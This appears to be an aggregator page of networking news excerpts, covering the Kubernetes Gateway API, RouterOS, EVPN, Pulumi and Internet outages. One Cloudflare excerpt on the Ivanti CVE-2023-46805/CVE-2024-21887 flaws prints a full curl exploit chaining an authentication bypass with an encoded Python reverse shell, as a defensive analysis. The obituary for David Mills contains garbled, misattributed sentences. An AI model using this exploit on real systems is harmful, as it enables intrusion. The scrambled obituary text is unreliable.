How the Kubernetes Gateway API Beats Network Ingress

CHICAGO — Incoming traffic looking to access your network and platform probably uses the network’s ingress. But the ingress carries with it scaling, availability and security issues. For instance, said Kate Osborn, a software engineer at NGINX, suggested in this episode of TNS Makers recorded On the Road at KubeCon + CloudNative Con North America. “One of the biggest issues is it’s not extensible,” Osborn said. “So it’s a very simple resource. But there’s a bunch of complex routing that people want to do. And in Continue reading

HS063: What’s On Our Minds

Hosts Greg Ferro and Johna Till Johnson reflect on the technological advancements of 2023 and discuss the trends for 2024. In this wide-ranging conversation, they chat about the rise of AI, tech consolidation, and the impact of automation on infrastructure. They also explore the geopolitical impact on supply chains, the move away from Chinese manufacturing,... Read more »

MikroTik ROS 7.14beta8 released

MikroTik Routers and Wireless – Software

RouterOS continues to mature as we move through the versions in the teens.

When we transitioned between ROSv5 and ROSv6 in the early 2010s, it was right around this version numbering that we started to see production stability. By the time 6.2x versions came out, the general consensus was that v6 was ready for prime time. We are getting closer to that point in ROSv7 – depending on your use case.

Certainly, there are still issues to solve for advanced users like ISPs and Data Centers that need protocols like BGP, OSPF, IS-IS and MPLS, but simpler use cases seem to really be stabilizing with the last few months of releases.

Notable changes in this release:

*) bgp – allow to leak routes between local VRFs;

There are a few reasons this is a really important addition to ROSv7. First, it’s an issue that’s been on the roadmap for a very long time as noted in the Routing Protocol Overview section of MikroTik’s help docs. This is encouraging because it’s likely been one of the harder problems for the development team to solve given the length of time it sat open.

Secondly, it’s Continue reading

Farewell to the Internet’s Master Timekeeper: David Mills

Photo by David Woolley, cc0 Dr. David L. Mills, the visionary behind the Network Time Protocol (NTP) that synchronizes time across billions of devices globally, died at age 85 on Jan. 17, 2024. The Chicago song goes, “Network Time Protocol (NTP) was, and is, essential for running the internet. As Cerf wrote, announcing the news of his passing, “He was such NTP. We don’t think about how hard it is to synchronize time around the world to within milliseconds. But everything, and I mean everything, depends on NTP’s accuracy. It’s not just the internet, it’s financial markets, power grids, GPS, cryptography, and far, far more.

How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability

Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.

The threat: CVE-2023-46805 and CVE-2024-21887

An authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887) impacting Ivanti products were recently disclosed and analyzed by AttackerKB. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.

Technical analysis

As discussed in AttackerKB, the attacker can send a specially crafted request to the target system using a command like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets an endpoint (/license/keys-status/) that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include /api/v1/totp/user-backup-code/../../license/keys-status/. This technique is known as directory traversal.

The URL-encoded part of the command decodes to a Python reverse Continue reading

Tackling the 5Cs of Enterprise Security with the Advent of AI – Spotlight on Cloud and Automation Efficiency

For the traditional enterprise, the last decade has been an ongoing saga in the journey to cloud. This either moving workloads into the public cloud or embracing a cloud-operating model within their private cloud and data center environments. Along the way multi-cloud and hybrid deployments have also become commonplace.

This trend gave birth to many companies that built solutions that were born in the cloud or were highly optimized for deployment there. Organizations big and small embraced the “cloud-first” and subsequently “mobile-first” mentality. While smaller organizations with no legacy infrastructure or applications were able to embrace cloud tenets from Day-1, for larger organizations, the journey has had many pit stops and perhaps several pit falls. A lot of this rolled under the digital transformation umbrella, as CIOs, CISOs and even CEOs became executive sponsors of such initiatives.

 

The shift from agility to efficiency

During the last 10-15 years, the move to cloud has largely been precipitated by the need for agility. The initial developer driven move to cloud, that had precipitated “shadow-IT”, has gradually paved way for dual-mode IT and now become mainstream as enterprise IT organizations proactively took ownership leading to a more pragmatic cloud operating model.

The Continue reading

Podcast: Network Automation Source(s) of Truth

Figuring out how to describe your network (also known as “create a source of truth”) is one of the most challenging tasks you’ll face when building a network automation solution (more). As always, the devil is in the details, starting with “and what exactly is The Truth?”.

We discussed those details in a lively Packet Pushers podcast with Claudia de Luna, David Sinn, Dinesh Dutt, Drew Conry-Murray and Ethan Banks. Have fun!

Podcast: Network Automation Source(s) of Truth

Figuring out how to describe your network (also known as “create a source of truth”) is one of the most challenging tasks you’ll face when building a network automation solution (more). As always, the devil is in the details, starting with “and what exactly is The Truth?”.

We discussed those details in a lively Packet Pushers podcast with Claudia de Luna, David Sinn, Dinesh Dutt, Drew Conry-Murray and Ethan Banks. Have fun!

EVPN Route Type 5

In a previous post, EVPN Deepdive Route Types 2 and 3, I covered route types 2 and 3. In this post I’ll cover route type 5 which is used for advertising IP prefixes. This route type is covered in RFC 9136.

There are two main use cases for advertising IP prefixes in EVPN route type 5:

  • Advertising external prefixes into the VXLAN network.
  • Advertising prefixes for connectivity towards silent hosts.

The first scenario is pretty obvious. There are other places in the network, such as remote offices via a WAN, partners and external parties, as well as the internet. To route towards these destinations, a route type is needed and this is route type 5. Remember, route type 2 only provides host routing which poses the following problems for external connectivity:

  • Advertising everything as /32 and /128 would be highly inefficient.
  • It requires an EVPN speaker to generate the RT2 and the external prefixes are originated from non-EVPN speakers.
  • It would not be possible to advertise a default route.
  • Without RT5, external connectivity would have to be advertised from another protocol than EVPN.

The last bullet may be worth expanding a bit on. If the external prefixes aren’t advertised Continue reading

Tech Bytes: Palo Alto Networks Optimizes Dynamic Content And User Experience With App Acceleration (Sponsored)

Today on the Tech Bytes podcast we talk about accelerating dynamic content to improve application performance and the user experience. The increase of remote and hybrid workers, and more applications being delivered from the cloud, can complicate IT’s efforts to measure and improve application performance. Today’s sponsor, Palo Alto Networks, shares its approach to accelerating... Read more »

NB463: Cisco Buys eBPF Startup For Cloud-Native Networking; Garter Forecasts $5 Trillion In IT Spending

This week’s Network Break examines why Cisco bought eBPF startup Isovalent (hint: it’s about cloud-native networking), why Broadcom is cranking up pressure on VMware resellers and customers (hint: it’s about money), and why Google Cloud is sort of dropping fees for customers who want to exit the cloud (hint: it’s about getting out ahead of... Read more »

Using SSH with the Pulumi Docker Provider

In August 2023, Pulumi released a version of the Docker provider that supported SSH-based connections to a Docker daemon. I’ve written about using SSH with Docker before (see here), and I sometimes use AWS-based “Docker build hosts” with my M-series Macs to make it easier/simpler (and sometimes faster) to build x86_64-based Docker images. Naturally, I’m using an SSH connection in those cases. Until this past weekend, however, I hadn’t really made the time to look deeper into how to use SSH with the Pulumi Docker provider. In this post, I’ll share some details that (unfortunately) haven’t yet made it into the documentation about using SSH with the Pulumi Docker provider.

First, let’s talk about some prerequisites to making this work.

  1. You’ll need Docker installed locally. I fairly certain this is only the docker CLI (much in the same way the Pulumi Kubernetes provider requires kubectl to be installed locally), but I haven’t verified this for certain yet. I tested this from a Linux system running Docker 24.0.7; I think the earliest version that is supported is 18.09.
  2. You’ll need Docker installed on the remote SSH host (obviously). I used Flatcar Container Linux (stable channel) on AWS.
  3. Continue reading

Q4 2023 Internet disruption summary

Cloudflare’s network spans more than 310 cities in over 120 countries, where we interconnect with over 13,000 network providers in order to provide a broad range of services to millions of customers. The breadth of both our network and our customer base provides us with a unique perspective on Internet resilience, enabling us to observe the impact of Internet disruptions.

During previous quarters, we tracked a number of government directed Internet shutdowns in Iraq, intended to prevent cheating on academic exams. We expected to do so again during the fourth quarter, but there turned out to be no need to, as discussed below. While we didn’t see that set of expected shutdowns, we did observe a number of other Internet outages and disruptions due to a number of commonly seen causes, including fiber/cable issues, power outages, extreme weather, infrastructure maintenance, general technical problems, cyberattacks, and unfortunately, military action. As we have noted in the past, this post is intended as a summary overview of observed disruptions, and is not an exhaustive or complete list of issues that have occurred during the quarter.

Government directed

Iraq

In a slight departure from the usual subject of Continue reading

Simulate a Silent Host in a VXLAN Network

I’m working on a blog post explaining route type 5 in EVPN. To demonstrate a scenario with a silent host, I want to simulate this behavior. Normally, hosts can be quite chatty and ARP for their GW, for example. In this post I will show how arptables on Linux can be used to simulate a silent host.

Currently the leaf switch has an ARP entry for the host:

Leaf4# show ip arp vrf Tenant1

Flags: * - Adjacencies learnt on non-active FHRP router
       + - Adjacencies synced via CFSoE
       # - Adjacencies Throttled for Glean
       CP - Added via L2RIB, Control plane Adjacencies
       PS - Added via L2RIB, Peer Sync
       RO - Re-Originated Peer Sync Entry
       D - Static Adjacencies attached to down interface

IP ARP Table for context Tenant1
Total number of entries: 1
Address         Age       MAC Address     Interface       Flags
198.51.100.44   00:15:20  0050.56ad.7d68  Vlan10           

It is possible to ping the host from the leaf switch:

Leaf4# ping 198.51.100.44 vrf Tenant1
PING 198.51.100.44 (198.51.100.44): 56 data bytes
64 bytes from 198.51.100.44: icmp_seq=0 ttl=63 time=1.355 ms
64 bytes from 198.51.100.44:  Continue reading